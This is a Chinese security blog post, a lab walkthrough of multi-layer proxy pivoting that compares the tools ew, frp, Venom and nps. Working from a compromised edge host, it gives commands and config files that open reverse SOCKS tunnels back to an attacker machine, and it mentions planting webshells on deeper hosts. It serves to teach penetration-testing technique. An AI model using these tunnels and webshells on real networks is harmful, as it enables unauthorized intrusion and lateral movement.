内网穿透之多层代理

  • A+
所属分类:安全文章

前言

前几天去参加省赛的时候做内网穿透这一块明显感觉不怎么熟练,平时看大部分文章都是讲的两层网络的穿透,在真实场景下,有时候是三层甚至四层,自己实践之后发现还是和两层网络差距比较大的。由于是三层网络,写起来图会比较多,选取了四款常用穿透软件:ew,nps,frp,venom进行试验。


环境搭建

拓扑图如下:

内网穿透之多层代理

192.168.1.0/24模拟公网环境。

每台PC上都有一个web服务,内网主机除边缘win7外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机win7。(文中所指的win2012全部指左边这台)
由于环境中途崩了一次,从Venom开始ip有所变化,请见谅。


EW

将ew上传至边缘机器。

内网穿透之多层代理


在攻击机上执行:

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

内网穿透之多层代理


在边缘机器上执行:

ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234

这时候回来看攻击机,就已经成功了。

内网穿透之多层代理


给浏览器设置一个代理,即可访问内网web。

内网穿透之多层代理

内网穿透之多层代理

经过一系列操作,我们又写入了一个shell。
同样这里需要开启蚁剑代理。

内网穿透之多层代理

内网穿透之多层代理


查看192.168.183.134这台主机是否出网,结果是不出网。

内网穿透之多层代理


由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个webshell工具,蚁剑和冰蝎。


蚁剑关闭代理,冰蝎开启sock5代理1080端口,冰蝎去连192.168.183.134这台不出网主机,蚁剑连接边缘机器192.168.1.110


攻击机另起一个cmd,执行命令:

ew_for_Win.exe -s lcx_listen -l 3080 -e 8888

注意这里的端口不要和刚刚1080端口重合。

不出网主机win2012执行命令:

ew_for_Win.exe -s ssocksd -l 9999

内网穿透之多层代理

这里没回显是正常的,但要保证一级代理不能掉。

再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道

ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999

内网穿透之多层代理

内网穿透之多层代理


这里同样的浏览器再挂个代理就可以了。

内网穿透之多层代理

内网穿透之多层代理

再拿webshell工具去连的话就另外再挂个3080端口代理就行了。

内网穿透之多层代理


FRP

攻击机配置frps.ini文件

[common]bind_port = 7000

边缘机器配置frpc.ini

[common]server_addr = 192.168.1.104server_port = 7000

[http_proxy]type = tcpplugin=socks5remote_port = 6000

攻击机执行命令

frps.exe -c frps.ini

内网穿透之多层代理

边缘机器执行命令

frpc.exec frpc.ini

内网穿透之多层代理


浏览器挂代理访问6000端口即可

内网穿透之多层代理

拿到win2012的webshell权限后,准备进一步代理到192.168.57.0/24。一级代理不要掉。


攻击机配置frps.ini

[common]bind_addr = 0.0.0.0bind_port = 7788

内网穿透之多层代理

边缘主机win7配置frps.ini

[common]bind_addr = 192.168.183.131 bind_port = 7799

内网穿透之多层代理

同时配置win7主机上frpc.ini

[common]server_addr = 192.168.1.104server_port = 7788 [http_proxy]type = tcplocal_ip = 192.168.183.131 local_port = 1080  remote_port = 1080

内网穿透之多层代理

内网穿透之多层代理

同样上传frp到win2012上,配置frpc.ini

[common]server_addr = 192.168.183.131server_port = 7799       [http_proxy]type = tcpremote_port = 1080plugin = socks5

内网穿透之多层代理

执行frpc.exe ‐c frpc.ini,这里都是没什么回显。

设置代理1080

内网穿透之多层代理

内网穿透之多层代理

同样的写入shell之后webshell工具连接挂个代理就行了。

内网穿透之多层代理

内网穿透之多层代理

Venom

此时ip发生变化:

win7:192.168.183.138 192.168.1.109
win2012:192.168.183.139 192.168.57.136
核心机器win2012:192.168.57.137


攻击机上执行

admin.exe -lport 9999

内网穿透之多层代理

边缘主机win7上执行

agent.exe -rhost 192.168.1.104 -rport 9999

内网穿透之多层代理

回到攻击机器上就已经有了连接。

内网穿透之多层代理

然后执行命令,将流量代理到7777端口

goto 1socks 7777

内网穿透之多层代理

内网穿透之多层代理

内网穿透之多层代理


这时win2012就可以访问了

通过冰蝎走代理,将agent.exe上传至win2012。

内网穿透之多层代理


在攻击机上让节点一进行监听,也就是在边缘机器win7上等待win2012连接。

内网穿透之多层代理

在win2012上执行命令连接win7:

agent.exe -rhost 192.168.183.138 -rport 9998

内网穿透之多层代理

这时在攻击机上使用show命令,查看节点,就可以发现已经有两个节点,选择节点2,并socks代理到本机9998端口。

内网穿透之多层代理

内网穿透之多层代理

内网穿透之多层代理

内网穿透之多层代理


NPS

这个工具我还是第一次用,由于有图形化界面,感觉这个工具还比较好用,不像frp要去目标机器配置文件,也比ew更加稳定。


首先去官网下载nps和npc:

https://github.com/ehang-io/nps/releases


这里我都是windows64位,下载这两个就可以了。

内网穿透之多层代理


直接执行nps.exe(要注意端口,被占用了就修改conf文件)

内网穿透之多层代理


然后访问127.0.0.1:8080,如果是vps上起的话就访问vps:8080,默认密码admin/123。登录后点击右侧客户端,然后新增:

内网穿透之多层代理


这里可填可不填,留空的话会自动生成密匙,等会拿这个密匙来让边缘主机win7连接攻击机器。

这里ID和密匙等会要用。

内网穿透之多层代理


点击右侧socks代理,新增。ID为上面的id,端口填一个没有被占用的端口就好了,保存后server就配置完毕了。

内网穿透之多层代理

将npc上传至边缘机器win7,并执行命令:

npc.exe -server=ip:port -vkey=服务端生成的key

这里的port默认是8024,如果修改过nps.conf中的端口就是修改过后的端口,key就是上面服务端的密钥。

内网穿透之多层代理


执行后可以看到连接已经变成在线,这时候就已经代理好了。

内网穿透之多层代理

浏览器挂个代理或者用Proxifier都是可以的,前面因为一直都是用的浏览器直接走代理这里还是用下Proxifier。

新增代理规则如下

内网穿透之多层代理

内网穿透之多层代理

做二层代理时候想了很久,翻遍全网都没有一个案例,我的想法是kali上去开一个nps服务端,然后msf添加路由,这是一种方式。

还有就是3389远程去连边缘主机win7,但是这样操作太敏感了。官方文档有如下这样的说明,但是没找到参数怎么用,这里就用3389勉强试一下,希望有懂的表哥指点。初次体验nps感觉不是很好,如果是只做一层代理还是可以。



内网穿透之多层代理

经过一系列代理操作还是在win7边缘主机访问到win2012核心机器

内网穿透之多层代理


总结

个人觉得Venom是对新手最友好的,并且多层代理还比较方便,两层三层都比较容易上手,然后就是nps,有图形化界面还是不错的。frp比较稳定,但是要配置ini文件比较麻烦。ew稳定性又差一点。总的来说就是各有所长吧,在真实环境中要根据不同的情况使用不同的方案。


欢迎关注、分享

内网穿透之多层代理

本文始发于微信公众号(Top security):内网穿透之多层代理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: